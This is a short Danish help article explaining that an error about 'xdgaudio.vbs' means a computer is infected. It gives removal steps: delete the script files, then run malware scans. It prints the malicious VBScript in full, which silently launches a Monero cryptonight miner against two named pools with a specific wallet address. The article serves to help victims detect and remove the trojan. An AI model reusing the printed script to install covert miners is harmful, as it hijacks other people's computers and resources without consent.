Hvis du modtager følgende fejlmeddelelse relateret til “xdgaudio.vbs” i dit system, er din computer sandsynligvis inficeret.
Script: C: \ windows \ xdgaudio.vbsLinie: 3
Char: 1
Fejl: Systemet kan ikke finde den specificerede fil.
Kode: 80070002
Kilde: (null)
Når det redigeres med Notepad, kan scriptet indeholde linjer som nedenfor:
Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -px", 0 Set WShell = Nothing
Dette ser bestemt ud som en CPU / cryptocurrency Miner trojan, som ikke kun bremser din computer, men også kan udgøre en sikkerhedstrussel. Skriptfilerne c: \ windows \ xdgaudio.vbs og c: \ windows \ servicecrsssr.vbs skal slettes. Det er ikke nok. Kør en grundig scanning ved hjælp af Malwarebytes antimalware, og scann også med den antivirus-software, du bruger.
For en detaljeret vejledning i, hvordan du fjerner sådan Miner Trojan, se malwaretips.com-guide Sådan fjernes CPU Miner Trojan fra Windows (Virus Help Guide) .